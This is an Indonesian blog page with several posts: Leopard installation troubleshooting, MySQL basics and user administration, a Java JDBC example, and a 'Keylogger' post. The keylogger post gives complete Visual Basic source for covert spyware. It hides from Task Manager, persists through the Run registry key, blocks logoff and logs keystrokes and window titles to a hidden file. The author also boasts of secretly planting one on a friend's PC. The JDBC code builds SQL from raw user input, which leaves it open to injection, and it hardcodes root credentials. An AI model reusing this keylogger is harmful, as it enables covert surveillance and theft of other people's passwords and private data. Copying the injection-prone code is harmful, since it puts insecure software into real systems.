RSS

Masalah yang sering terjadi saat Instal Leopard

Pada waktu kita menginstall Leopard, mungkin ada yang tidak langsung berhasil. Ada yang tinggal 1 menit instalasi selesai, eh malah macet. Looping error pada waktu pembuatan account, dll. Nah kali ini kita akan bahas nih, gimana cara ngatasi trouble saat instalasi. Baca terus artikel ini ampe kelar. Kali-kali aja anda menemukan solusi dari masalah anda… :) . Nyante aja, ga usah tegang… hehehehe

1. Instalasi berhenti pada posisi ” 1 minute left “

Penyelesaian : Restart ulang, dan ulangi boot dari Dvd anda. Jangan format lagi harddisk anda, biarkan saja. Instalasi kemudian akan dilanjutkan hingga finish.

2. Gagal booting dan tidak mau masuk proses instalasi.

Penyelesaian : Restart ulang, boot dari Dvd dan tambahkan perintah cpus=1. Masalah ini kebanyakan terjadi pada laptop yang menggunakan processor CoreDuo.

3. Keyboard tidak dikenali oleh Leopard

Penyelesain : Restart ulang, dan booting dari Dvd, masuk ke Terminal, dan ketikkan perintah berikut :

cp -Rf /System/Library/Extensions/ApplePS2Controller.kext /Volumes/nama_harddisk/ /System/Library/Extensions/ApplePS2Controller.kext

4. USB Devices tidak dikenal

Penyelesain 1 : Setting bios anda. Set USB Controller = Enabled. Set USB 2.0 Support = Enabled. Set Legacy USB Support = Disabled

Penyelesain 2 : download IOUSBFamily.kext dan install. Ingin tau cara install .kext extensions? klik disini…

5. Error Looping pada Pembuatan Account

Penyelesaian : Restart, boot dengan parameter “-s” < tanpa tanda petik >. Kemudian ketik perintah berikut :

mount -uw /
passwd root ———-> mengganti password root. Isi password, dan jangan sampai lupa!
touch /var/db/.AppleSetupDone
reboot

NB : Case Sensitive. Jadi ketikkan sama persis besar kecil huruf nya!.

Kalo anda menemukan masalah yang belum dijelaskan penyelesainnya di sini, silahkan message saya. Hehe… :)

Belajar bersama….Berbagi bersama…..
Read More … Masalah yang sering terjadi saat Instal Leopard
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Keylogger

Pernah dengar kata Kelogger ??? yaph, dengan keylogger kita bisa mencatat semua gerak-gerik, setiap ketikan, dan apa aja yang dilakukan orang yang memakai pc dengan keylogger yang kita tanam. Bahkan penulis pernah iseng bikin keylogger trus dipake di PC temen yang Online di kos-kosannya. hehe…sedikit nakal lah…. sorry yaph prendzzz….hehehe

Yang perlu diperhatikan :

1. setelah REGSVC32.exe dieksekusi, keylogger tsg akan lg menulis di registry agar program tsb dieksekusi pd waktu booting:

(hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).

2. Aktifitas keylogger ini tidak dapat dilihat melalui task manager (Ctrl+Alt+Del)

3. kamu tidak dapat menghapus file REGSVC32.exe (this file is being used by windows)

4. kamu tidak dapat menghentikan booting REGSVC32.exe melalui regedit ato msconfig

5. Untuk melihat hasil rekaman KeyLogger ini kamu bisa buka file REGSVC32.DLL dengan Notepad

6. selama Keylogger ini aktif kamu tidak bisa melakukan Logoff user … :(

======= code mulai ==========================

‘simpan file hasil compile dg nama regsvc32.exe

‘form

‘simpan dg nama FRMLOG.frm

Option Explicit

Private Declare Sub Sleep Lib “kernel32″ (ByVal dwMilliseconds As Long)

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer

Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib “advapi32.dll” Alias “RegSetValueExA” (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegisterServiceProcess Lib “kernel32″ (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long

Private Declare Function GetCurrentProcessId Lib “kernel32″ () As Long

Private sAppName As String

Private Const REG_SZ = 1

Private Const LOCALMACHINE = &H80000002

Private Const RSP_SIMPLE_SERVICE = 1

Private Const RSP_UNREGISTER_SERVICE = 0

Private Const VK_BACK = &H8

Private Const VK_CONTROL = &H11

Private Const VK_SHIFT = &H10

Private Const VK_TAB = &H9

Private Const VK_RETURN = &HD

Private Const VK_MENU = &H12

Private Const VK_ESCAPE = &H1B

Private Const VK_CAPITAL = &H14

Private Const VK_SPACE = &H20

Private Const VK_SNAPSHOT = &H2C

Private Const VK_UP = &H26

Private Const VK_DOWN = &H28

Private Const VK_LEFT = &H25

Private Const VK_RIGHT = &H27

Private Const VK_MBUTTON = &H4

Private Const VK_RBUTTON = &H2

Private Const VK_LBUTTON = &H1

Private Const VK_PERIOD = &HBE

Private Const VK_COMMA = &HBC

Private Const VK_NUMLOCK = &H90

Private Const VK_NUMPAD0 = &H60

Private Const VK_NUMPAD1 = &H61

Private Const VK_NUMPAD2 = &H62

Private Const VK_NUMPAD3 = &H63

Private Const VK_NUMPAD4 = &H64

Private Const VK_NUMPAD5 = &H65

Private Const VK_NUMPAD6 = &H66

Private Const VK_NUMPAD7 = &H67

Private Const VK_NUMPAD8 = &H68

Private Const VK_NUMPAD9 = &H69

Private Const VK_F9 = &H78

Private Const VK_F8 = &H77

Private Const VK_F7 = &H76

Private Const VK_F6 = &H75

Private Const VK_F5 = &H74

Private Const VK_F4 = &H73

Private Const VK_F3 = &H72

Private Const VK_F2 = &H71

Private Const VK_F12 = &H7B

Private Const VK_F11 = &H7A

Private Const VK_F10 = &H79

Private Const VK_F1 = &H70

Private Sub LoadTextFile()

On Error GoTo dlgerror

If Len(App.Path) <= 3 Then

Open App.Path & “settings.ini” For Input As #1

Line Input #1, sAppName

Close

Else

Open App.Path & “\settings.ini” For Input As #1

Line Input #1, sAppName

Close

End If

If sAppName = vbNullString Then

sAppName = “regsvc32″

End If

Exit Sub

dlgerror:

sAppName = “regsvc32″

End Sub

Private Sub SAVEDLL()

Dim nSaveLocation As String

On Error GoTo dlgerror

If Len(App.Path) <= 3 Then

Open App.Path & sAppName & “.dll” For Append As #1

nSaveLocation = App.Path & sAppName & “.dll”

GoTo READY

Else

Open App.Path & “\” & sAppName & “.dll” For Append As #1

nSaveLocation = App.Path & “\” & sAppName & “.dll”

GoTo READY

End If

READY:



If txtLOGGED.Text = vbNullString Then

Exit Sub

End If



Print #1, Time & ” ” & Date & vbCrLf & “Size: ” & Format(FileLen(nSaveLocation) / 1000000, “.0″) & ” MB” & vbCrLf & “*** PROGRAMS OPENED ***” & vbCrLf & vbCrLf & txtENUMERATE.Text & vbCrLf & vbCrLf & txtLOGGED.Text & vbCrLf & vbCrLf

Close

Close

Close

SetAttr nSaveLocation, vbHidden

Exit Sub

dlgerror:

Err.Clear

Exit Sub

End Sub

Private Sub Form_Load()

On Error Resume Next

Call LoadTextFile

Me.Caption = sAppName

Me.Visible = False

App.TaskVisible = False

App.Title = sAppName

ENTERREGISTRY

RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE

End Sub

Private Sub ENTERREGISTRY()

Dim nKey As Long

RegCreateKey LOCALMACHINE, “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, nKey

If Len(App.Path) <= 3 Then

RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & App.EXEName & “.exe”, Len(App.Path & App.EXEName & “.exe”)

Else

RegSetValueEx nKey, App.EXEName, 0, REG_SZ, App.Path & “\” & App.EXEName & “.exe”, Len(App.Path & “\” & App.EXEName & “.exe”)

End If

End Sub

Private Sub Form_Unload(Cancel As Integer)

Cancel = True

Call SAVEDLL

ENTERREGISTRY

Unload Me

End

End Sub

Private Sub tmrCAPTION_Timer()

On Error Resume Next

Me.Caption = sAppName

Me.Visible = False

App.TaskVisible = False

App.Title = False

RegisterServiceProcess GetCurrentProcessId(), RSP_SIMPLE_SERVICE

End Sub

Private Sub tmrLOG_Timer()

On Error Resume Next

Dim nKey, nChar As Integer

Dim nText As String

For nChar = 1 To 255

nKey = GetAsyncKeyState(nChar)

If nKey = -32767 Then

nText = Chr(nChar)

If nChar = VK_BACK Then

nText = ” {B.S} “

ElseIf nChar = VK_CONTROL Then

nText = ” {CTRL} “

ElseIf nChar = VK_SHIFT Then

nText = ” {SHIFT} “

ElseIf nChar = VK_TAB Then

nText = ” {TAB} “

ElseIf nChar = VK_RETURN Then

nText = ” {ENTER} “

ElseIf nChar = VK_MENU Then

nText = ” {ALT} “

ElseIf nChar = VK_ESCAPE Then

nText = ” {ESC} “

ElseIf nChar = VK_CAPITAL Then

nText = ” {CAPS} “

ElseIf nChar = VK_SPACE Then

nText = ” {SP.B} “

ElseIf nChar = VK_UP Then

nText = ” {UP} “

ElseIf nChar = VK_LEFT Then

nText = ” {LEFT} “

ElseIf nChar = VK_RIGHT Then

nText = ” {RIGHT} “

ElseIf nChar = VK_DOWN Then

nText = ” {DOWN} “

ElseIf nChar = VK_F1 Then

nText = ” {F1} “

ElseIf nChar = VK_F2 Then

nText = ” {F2} “

ElseIf nChar = VK_F3 Then

nText = ” {F3} “

ElseIf nChar = VK_F4 Then

nText = ” {F4} “

ElseIf nChar = VK_F5 Then

nText = ” {F5} “

ElseIf nChar = VK_F6 Then

nText = ” {F6} “

ElseIf nChar = VK_F7 Then

nText = ” {F7} “

ElseIf nChar = VK_F8 Then

nText = ” {F8} “

ElseIf nChar = VK_F9 Then

nText = “{F9}”

ElseIf nChar = VK_F10 Then

nText = ” {F10} “

ElseIf nChar = VK_F11 Then

nText = ” {F11} “

ElseIf nChar = VK_F12 Then

nText = ” {F12} “

ElseIf nChar = VK_SNAPSHOT Then

nText = ” {PRINT SCRN} “

ElseIf nChar = VK_RBUTTON Then

nText = ” {R.B} “

ElseIf nChar = VK_LBUTTON Then

nText = ” {L.B} “

ElseIf nChar = VK_MBUTTON Then

nText = ” {M.B} “

ElseIf nChar = VK_PERIOD Then

nText = “.”

ElseIf nChar = VK_COMMA Then

nText = “,”

ElseIf nChar = VK_NUMLOCK Then

nText = ” {NUMLCK} “

ElseIf nChar = VK_NUMPAD0 Then

nText = “0″

ElseIf nChar = VK_NUMPAD1 Then

nText = “1″

ElseIf nChar = VK_NUMPAD2 Then

nText = “2″

ElseIf nChar = VK_NUMPAD3 Then

nText = “3″

ElseIf nChar = VK_NUMPAD4 Then

nText = “4″

ElseIf nChar = VK_NUMPAD5 Then

nText = “5″

ElseIf nChar = VK_NUMPAD6 Then

nText = “6″

ElseIf nChar = VK_NUMPAD7 Then

nText = “7″

ElseIf nChar = VK_NUMPAD8 Then

nText = “8″

ElseIf nChar = VK_NUMPAD9 Then

nText = “9″

End If

txtLOGGED.Text = txtLOGGED.Text + nText

End If

Next

Call GetActiveWindowName

End Sub

Private Sub tmrSAVE_Timer()

Call SAVEDLL

txtLOGGED.Text = vbNullString

txtENUMERATE.Text = vbNullString

End Sub

====code end ===========

============code mulai ============

‘module visual basic

‘simpan dg nama mdlActiveWindow.bas

Option Explicit

Public Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Declare Function GetForegroundWindow Lib “user32″ () As Long

Public Declare Function GetClassName Lib “user32″ Alias “GetClassNameA” (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

Public nCAPTION As String

Public nTESTER As Long

Public nClass As String

Public Sub GetActiveWindowName()

nCAPTION = Space(256)

nClass = Space(256)

GetWindowText GetForegroundWindow, nCAPTION, Len(nCAPTION)

GetClassName GetForegroundWindow, nClass, Len(nClass)

If nTESTER = GetForegroundWindow Then Exit Sub

FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbCrLf & Time & ” ” & nCAPTION

FRMLOG.txtENUMERATE.Text = FRMLOG.txtENUMERATE.Text & vbTab & nClass

nTESTER = GetForegroundWindow

End Sub

============ code end ==========
Read More … Keylogger
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Dasar MySQL dan Administrasi User

Mengenal MySQL
Apa itu MySQL?

MySQL adalah salah satu jenis database server yang sangat terkenal.
MySQL menggunakan SQL sebagai bahasa dasar untuk mengakses databasenya.
Selain itu, MySQL bersifat free (Anda tidak perlu membayar untuk menggunakannya) pada pelbagai platform (kecuali pada Windows, yang bersifat shareware)
MySQL termasuk jenis RDBMS (Relational Database Management System). Itulah sebabnya, istilah seperti tabel, baris, dan kolom digunakan pada MySQL. Pada MySQL, sebuah database mengandung satu atau sejumlah tabel. Tabel terdiri atas sejumlah baris dan setiap baris mengandung satu atau beberapa kolom.
Mengatur Password Root
root adalah pemakai dengan level tertinggi pada MySQL yang bisa melakukan apa saja terhadap database MySQL.
Pemberian password dapat Anda lakukan dengan memberikan perintah sebagai berikut:

mysqladmin -uroot password gandhi —-> perintah ini berarti kita mengeset password root dengan password “gandhi”.

Setelah perintah di atas Anda berikan, untuk menjadi root Anda perlu mengetikkan password berupa kata gandhi.

NB :

Jika kita telah memberikan password seperti di atas dan kemudian kita ingin mengganti password root menjadi “rahasia”, maka lakukan perintah seperti berikut:

mysqladmin -uroot -p password rahasia

Yang perlu diperhatikan adanya tambahan -p. Kita akan segera menjumpai tanggapan sebagai berikut:

Enter password:

Ketikkan password semula dan tekan Enter. Selanjutnya, password untuk root sudah berubah menjadi rahasia.

Menjalankan Program Klien mysql


mysql adalah nama program pada klien untuk mengakses database MySQL
Untuk menjalankankannya, berikan perintah berikut pada prompt shell:

mysql -uroot -p

Saat muncul Enter password:

masukkan password dan tekan Enter. Anda akan menjumpai prompt:

mysql>

Langkah selanjutnya, kita bisa segera memberikan perintah-perintah mysql untuk memanipulasi database menggunakan MySQL.

Melihat Daftar Database
Untuk mengetahui nama-nama database yang terdapat pada MySQL, kita bisa menggunakan perintah SHOW DATABASES pada prompt mysql.
Sebagai contoh, ketikkan perintah berikut dan kemudian tekan Enter:

SHOW DATABASES;

Program mysql akan menginformasikan keberadaan dua buah database yaitu mysql dan test. Misal jika kita sudah memiliki database yang bernama buku, maka jika kita mengetikkan perintah SHOW DATABASES; maka database buku juga akan tampil.

Melakukan Koneksi ke Suatu Database
Kalau kita bermaksud melakukan pemanipulasian ke suatu database, kita perlu melakukan koneksi ke database tersebut terlebih dulu. Hal ini bisa dilakukan dengan menggunakan perintah mysql bernama USE.
Contoh:

USE user;

Anda akan mendapatkan tanggapan berupa :

Database changed

Mengetahui Nama-nama Tabel
Sebuah database dapat mengandung sejumlah tabel.
Untuk mengetahui tabel-tabel yang terdapat pada suatu database, kita bisa menggunakan perintah SHOW TABLES
Contoh :

SHOW TABLES;

Hasilnya semua tabel pada database tsb ditampilkan.

Mengetahui Struktur Tabel
Bila kita bermaksud mengetahui struktur suatu tabel, kita bisa menggunakan perintah DESCRIBE atau DESC.
Contoh untuk mengetahui struktur tabel bernama pajak :

DESC pajak;

Kita akan menjumpai hasil semacam berikut.

desc.gif

Keluar dari mysql

Salah satu perintah untuk keluar dari mysql:

exit
quit
\q

Melihat Isi Tabel user
Perintah untuk melihat tabel bernama pajak (setelah Anda mengaktifkan database):

SELECT * FROM user; —> jangan lupa akhiri perintah dengan titik koma “;”

Select * artinya kita menampilkan semua field. Dengan kata lain tanda “*” berarti semua. Anda akan menjumpai hasil semacam berikut.

user.gif

Pada tabel user, nilai % atau kosong pada kolom host berarti sembarang host adapun localhost berarti dari lokal tempat MySQL berada. Pada contoh di atas, pemakai bernama root dapat megakses dari localhost dengan disertai password, tetapi jika ia mengakses dari bukan localhost maka ia bisa mengakses database tanpa password. Sedangkan pemakai siapa saja selain root dapat mengakses dari mana saja tanpa password. Untuk alasan keamanan, tentu saja keadaan seperti perlu diubah. Cara mengubahnya dapat dilihat pada pembahasan berikut.

Menghapus Pemakai
Mungkin Anda bertanya-tanya, ketika Anda menjalankan mysql Anda sebenarnya berlaku sebagai pemakai siapa? Sesungguhnya apapun nama pemakai Anda Anda bisa mengakses mysql. Pertanyaan berikutnya yang mungkin timbul, “Mengapa bisa begitu?”. Jawabannya disebabkan pada tabel user terdapat pemakai dengan nama kosong, yang memungkinkan siapa saja bisa menjalankan mysql.
Sekarang, Anda dapat mencoba apa yang terjadi seandainya pemakai dengan nama kosong dihapus. Untuk melakukan penghapusan baris yang ada pada tabel, Anda bisa menggunakan perintah SQL bernama DELETE. Sebagai contoh, ketikkan perintah berikut dan kemudian tekan Enter:

DELETE FROM user WHERE user =” ”;

Perintah di atas digunakan untuk menghapus baris-baris pada tabel user yang memenuhi kondisi yakni kolom user berisi string kosong.

Anda bisa memberikan perintah berikut untuk melihat isi tabel user sekarang:

SELECT * FROM user;

Supaya perubahan yang baru saja Anda lakukan berpengaruh terhadap program mysql, Anda perlu memberikan perintah berikut:

flush privileges;

Perintah di atas digunakan agar informasi tentang privilege (hak akses terhadap database) dimuat kembali, sehingga perubahan akan berpengaruh pada tahap selanjutnya.
Sekarang, cobalah untuk keluar dari mysql dan kemudian jalankan mysql kembali dengan mengetikkan:

mysql

Apa yang terjadi? Anda akan menjumpai pesan kesalahan yang menyatakan Anda tak dapat mengakses mysql.

Mengakses mysql Melalui root
Begitu Anda menjumpai pesan seperti di depan, Anda barangkali bertanya-tanya, “Lalu bagaimana saya bisa menggunakan mysql?”. Jawabannya, Anda perlu menggunakan pemakai root atau melalui pemakai yang khusus dibuat untuk mengakses mysql.

Membuat Pemakai Baru
Pembuatan dilakukan dengan menggunakan perintah SQL bernama INSERT melalui root. Sebagai contoh, praktekkan perintah berikut:

INSERT INTO user (host, user, password)
VALUES (‘localhost’, ‘php’, password(‘gandhi));

Setelah Anda memberikan perintah di atas, berikan perintah:

flush privileges;

dan kemudian keluarlah dari mysql.
Selanjutnya ujilah pemakai yang baru Anda ciptakan dengan memberikan perintah berikut:

mysql -uphp -p

Perintah di atas digunakan untuk menjalankan program mysql dari pemakai bernama php. Ketikkan password gandhi ketika mysql memberikan tanggapan:

Enter password:

Anda akan segera menjumpai prompt mysql. Lalu, cobalah untuk memberikan perintah:

USE mysql;

Apa yang terjadi? Ternyata pemakai php tidak berhak mengakses database mysql. Mengapa begitu? Jawabannya adalah karena ketika Anda menciptakan pemakai php, Anda tidak mengatur wewenangnya. Pada keadaan ini semua pengaksesan terhadap database tidak diperkenankan.

Mengganti Wewenang untuk Pemakai php
Dengan menggunakan pemakai root, Anda bisa segera mengubah wewenang untuk pemakai php agar ia bisa melakukan koneksi ke suatu database dan juga melakukan pengaksesan terhadap tabel. Hal ini dapat dilakukan dengan menggunakan perintah SQL bernama UPDATE.
Untuk mempraktekkannya, jalankan mysql dengan memberikan perintah berikut terlebih dulu:

mysql -uroot -p

Setelah prompt mysql ditampilkan, berikan perintah:

USE mysql;

Selanjutnya berikan perintah berikut:

UPDATE user
SET select_priv = ‘Y’,
insert_priv = ‘Y’,
update_priv = ‘Y’,
delete_priv = ‘Y’,
create_priv = ‘Y’,
drop_priv = ‘Y’
WHERE user = ‘php’;

Perintah di atas digunakan untuk mengubah isi sejumlah kolom pada tabel user khusus untuk baris yang nilai user-nya berupa php. Perintah di atas digunakan agar pemakai php dapat melakukan operasi SELECT, UPDATE, DELETE terhadap tabel dan menciptakan (CREATE) dan menghapus (DROP) tabel.
Setelah Anda memberikan perintah di atas, berikan perintah:

flush privileges;

Selanjutnya dengan menggunakan pemakai php, Anda bisa mencoba perintah seperti use dan select.

Sampai di sini dulu pembahasan kita kali ini…Udah keburu laper ni…Mau makan siang… :)
Read More … Dasar MySQL dan Administrasi User
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Pemakaian MySQL

SQL adalah singkatan dari “Structured Query Language“

Merupakan subbahasa standar untuk mengakses data pada basis data relasional

DB2
Ingres
Informix
ORACLE
Microsoft Access
MySQL
PostgreSQL
Rdb
Sybase

Di lingkungan PC, pengaksesan basis data dilakukan melalui ODBC (Open DataBase Connectivity)
Dapat digunakan untuk mendefinisikan struktur data, pemanipulasian data, pengaturan sekuritas, dll.
Memudahkan pengaksesan basis data pada model client-server.

Pernyataan SQL

Umumnya sebuah pernyataan (perintah) SQL diakhiri dengan “;” . Contoh:

SELECT * FROM pajak;

Pengelompokan pernyataan SQL:

DDL (Data Definition Language) atau bahasa pendefinisi data,
DML (Data Manipulation Language) atau bahasa pemanipulasi data, dan
DCL (Data Control Language) atau bahasa pengendali data.

DDL

CREATE TABLE : Menciptakan tabel

ALTER TABLE : Mengubah tabel
DROP TABLE : Menghapus tabel

DML

SELECT : Melakukan query
INSERT : Menambah data
DELETE : Menghapus data
UPDATE : Mengubah data
DCL

GRANT : Mengatur hak akses pemakai
REVOKE : Mencabut hak akses pemakai
COMMIT : Menyetujui transaksi
ROLLBACK : Membatalkan transaksi

Beberapa tipe data pada MySQL :

tipe1.gif

tipe2.gif

tipe3.gif

Membuat Database gandhi—-> di sini dimisalkan nama database yang kita buat adalah “gandhi”
Melalui program mysql dengan pemakai berupa root, lakukan perintah berikut untuk membuat database bernama gandhi:

create database gandhi;

Mengaktifkan Database hrd
Aktifkan database tersebut dengan memberikan perintah:

use gandhi;

Setelah ini, kita akan mencoba untuk membuat tabel dengan menggunakan database gandhi.

Menciptakan Tabel datadiri —> tabel bernama datadiri

Pernyataan :

CREATE TABLE datadiri(
nip CHAR(5) NOT NULL PRIMARY KEY,
nama CHAR(25) NOT NULL,
alamat CHAR(35),
kota CHAR(15),
tgl_lahir DATE,
kelamin CHAR(1));

Kata NOT NULL pada perintah di depan menyatakan bahwa isi kolom kota tidak boleh kosong.

Menciptakan Tabel bagian

Pernyataan :

CREATE TABLE bagian (
kode_bagian VARCHAR(1) NOT NULL PRIMARY KEY,
nama_bagian VARCHAR(12) NOT NULL);

Untuk memasukkan data ke dalam tabel tersebut, kita bisa menggunakan perintah insert into diikuti nama tabel.

INSERT INTO bagian VALUES (’1′, ‘pemasaran’);

Perintah SQL: DELETE

Pernyataan DELETE berguna untuk menghapus data pada tabel

Bentuk umum perintah DELETE:

DELETE
FROM nama_tabel
[ WHERE kondisi ];

Klausa WHERE bersifat opsional, untuk menentukan baris-baris yang akan dihapus, Kalau tak ada klausa ini maka semua baris akan dihapus.

Contoh:
DELETE FROM bagian
WHERE kode_bagian = ’1′;

menghapus baris yang memiliki kode_bagian = ’1′. Periksa bahwa baris ini sudah terhapus dengan menggunakan SELECT.

Perintah SQL: UPDATE

Pernyataan UPDATE berguna untuk mengubah data pada tabel

Bentuk umum perintah UPDATE:

UPDATE nama_tabel
SET kolom_1 = nilai_baru_1,
kolom_2 = nilai_baru_2,

kolom_n = nilai_baru_n
[ WHERE kondisi ];

Klausa WHERE bersifat opsional, untuk menentukan baris-baris yang akan diubah, Kalau tak ada klausa ini maka semua baris akan diubah.

Contoh untuk mengubah nama departemen Akunting menjadi Keuangan

UPDATE bagian
SET nama_bagian = ‘Keuangan’
WHERE kode_bagian = ’1′;

Penggunaan Operator OR
Operator OR dapat digunakan untuk membuat suatu kondisi yang didasarkan oleh dua buah kondisi.
Bentuk kondisi dengan OR: operand_1 OR operand_2
Hasil kondisi dapat dilihat pada tabel berikut.

or.gif

Contoh:

SELECT * FROM datadiri WHERE nip = ’12345′ OR nip = ’12354′;

Penggunaan Operator NOT
NOT berguna untuk mengeasikan suatu kondisi
Bentuk pemakaian : NOT kondisi
Hasil :

NOT Benar -> Salah
NOT Salah -> benar

Contoh:

SELECT * FROM datadiri

WHERE NOT (NIP = ‘12345’ OR NIP = ‘12354’);



Pembahasan mengenai operator-operator dalam MySQL akan kita bahas pada artikel selanjutnya….oke2….




¼/p>
Read More … Pemakaian MySQL
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS

Meng-koneksikan Java dengan MySQL menggunakan JDBC

Java Database Connectivity (JDBC) merupakan teknologi inti di dalam Java untuk mengakses
dengan database. JDBC digunakan baik dalam aplikasi desktop, aplikasi Web maupun aplikasi
enterprise.

JDBC menyediakan satu cara untuk mengakses database secara independen terhadap database
vendor. Melalui JDBC Anda bisa mengakses mySQL dengan program yang sama untuk
mengakses Oracle, UDB2 dan PostgreSQL. Ini mendukung semangat Java untuk write once, run
anywhere.

Kunci utama dari JDBC adalah JDBC Driver yang bertanggung jawab menjadi jembatan antara
program Java dan database tertentu. JDBC Driver untuk mySQL, misalnya, bertanggung jawab
untuk menjembatani antara program yang ditulis dengan Java ke mySQL RDBMS.

Untuk mengakses database melalui JDBC, pertama Anda perlu mendapatkan obyek Connection.
Selanjutnya Anda bisa mendapatkan obyek-obyek seperti Statement dan PreparedStatement.
Melalui Statement, dan PreparedStatement , Anda bisa mengirimkan perintah SQL ke database,
seperti INSERT, SELECT, UPDATE dan DELETE.

Contoh program yang meng-koneksikan java dengan mysql.

import java.io.*;
import java.sql.*;
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;

class insertFrame extends JFrame implements ActionListener
{
JLabel l_nopol=new JLabel(“NOMOR POLISI”);
JLabel l_nama=new JLabel (“NAMA PEMILIK”);
JLabel l_alamat=new JLabel (“ALAMAT”);
JLabel l_merk=new JLabel (“MERK/TIPE”);
JLabel l_jenis=new JLabel (“JENIS/MODEL”);
JLabel l_pembuatan=new JLabel (“TAHUN PEMBUATAN”);
JLabel l_perakitan=new JLabel (“TAHUN PERAKITAN”);
JLabel l_isi=new JLabel (“ISI SILINDER (cc)”);
JLabel l_warna=new JLabel (“WARNA”);
JLabel l_norangka=new JLabel (“NOMOR RANGKA/NIK”);
JLabel l_nomesin=new JLabel (“NOMOR MESIN”);
JLabel l_nobpkb=new JLabel (“NOMOR BPKB”);
JLabel l_wrntnkb=new JLabel (“WARNA TNKB”);
JLabel l_bbm=new JLabel (“BAHAN BAKAR”);
JLabel l_kode=new JLabel (“KODE LOKASI”);
JLabel l_nourut=new JLabel (“NO.URUT PENDAFTARAN”);

/*Tabel*/
String[] jenisStrings={“SPM/SEPEDA MOTOR”,”MBL/MOBIL”,”TRUK”,”BUS”};
String[] bbmStrings={“BENSIN”,”SOLAR”};
String[] kodeStrings={“01″,”02″,”03″,”04″,”05″};

/*TextField*/
JTextField t_nopol=new JTextField (“”);
JTextField t_nama=new JTextField (“”);
JTextField t_alamat=new JTextField (“”);
JTextField t_merk=new JTextField (“”);
JComboBox c_jenis=new JComboBox (jenisStrings);
JTextField t_pembuatan=new JTextField (“”);
JTextField t_perakitan=new JTextField (“”);
JTextField t_isi=new JTextField (“”);
JTextField t_warna=new JTextField (“”);
JTextField t_norangka=new JTextField (“”);
JTextField t_nomesin=new JTextField (“”);
JTextField t_nobpkb=new JTextField (“”);
JTextField t_wrntnkb=new JTextField (“”);
JComboBox c_bbm=new JComboBox (bbmStrings);
JComboBox c_kode=new JComboBox (kodeStrings);
JTextField t_nourut=new JTextField (“”);

/*Tombol*/
JButton b_insert=new JButton(“SIMPAN”);
JButton b_keluar=new JButton(“KELUAR”);

/*Kontener*/
Container container=new Container();

/*Variabel String*/
String nopol=”";
String nama=”";
String alamat=”";
String merk=”";
int jenis=0;
String pembuatan=”";
String perakitan=”";
String isi=”";
String warna=”";
String norangka=”";
String nomesin=”";
String nobpkb=”";
String wrntnkb=”";
int bbm=0;
int kode=0;
String nourut=”";

/*Input*/
insertFrame()
{
super(“INPUT DATA PEMBAYARAN PAJAK STNK”);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
container=getContentPane();
container.setLayout(new GridLayout(18,6));

c_jenis.setSelectedIndex(0);
c_jenis.addActionListener(this);
c_bbm.setSelectedIndex(0);
c_bbm.addActionListener(this);
c_kode.setSelectedIndex(0);
c_kode.addActionListener(this);

b_insert.addActionListener(this);
b_keluar.addActionListener(this);

/*objek windows*/
container.add(l_nopol);
container.add(t_nopol);
container.add(l_nama);
container.add(t_nama);
container.add(l_alamat);
container.add(t_alamat);
container.add(l_merk);
container.add(t_merk);
container.add(l_jenis);
container.add(c_jenis);
container.add(l_pembuatan);
container.add(t_pembuatan);
container.add(l_perakitan);
container.add(t_perakitan);
container.add(l_isi);
container.add(t_isi);
container.add(l_warna);
container.add(t_warna);
container.add(l_norangka);
container.add(t_norangka);
container.add(l_nomesin);
container.add(t_nomesin);
container.add(l_nobpkb);
container.add(t_nobpkb);
container.add(l_wrntnkb);
container.add(t_wrntnkb);
container.add(l_bbm);
container.add(c_bbm);
container.add(l_kode);
container.add(c_kode);
container.add(l_nourut);
container.add(t_nourut);
container.add(b_insert);
container.add(b_keluar);

pack();show();
}

public void actionPerformed(ActionEvent event)
{
if(event.getSource()==b_insert)
{
try {
nopol=t_nopol.getText();
nama=t_nama.getText();
alamat=t_alamat.getText();
merk=t_merk.getText();
jenis=c_jenis.getSelectedIndex();
pembuatan=t_pembuatan.getText();
perakitan=t_perakitan.getText();
isi=t_isi.getText();
warna=t_warna.getText();
norangka=t_norangka.getText();
nomesin=t_nomesin.getText();
nobpkb=t_nobpkb.getText();
wrntnkb=t_wrntnkb.getText();
bbm=c_bbm.getSelectedIndex();
kode=c_kode.getSelectedIndex();
nourut=t_nourut.getText();

Class.forName(“org.gjt.mm.mysql.Driver”);
Connection
connection=DriverManager.getConnection(“jdbc:mysql://localhost/gandhi?user=root pwd=root”); ——–> koneksi dengan mysql menggunakan user root dan password root.
Statement statement=connection.createStatement();
String sql=”insert into pajak values(‘”+nopol+”‘,’”+nama+”‘,’”+alamat+”‘,’”+merk+”‘,’”+jenis+”‘,’”+pembuatan+”‘,;

‘”+perakitan+”‘,’”+isi+”‘,’”+warna+”‘,’”+norangka+”‘,’”+nomesin+”‘,’”+nobpkb+”‘,’”+wrntnkb+”‘,’”+bbm+”‘,;

‘”+kode+”‘,’”+nourut+”‘);”;

statement.executeUpdate(sql);
statement.close();
System.out.println(“Data Yang Anda Masukkan Telah Tersimpan”);
}
catch(Exception e) {System.out.println(“Error : “+e);}
}

if(event.getSource()==b_keluar)
{
System.exit(0);
}

}
}

public class coba
{
public static void main(String args[])
{
new insertFrame();
}
}

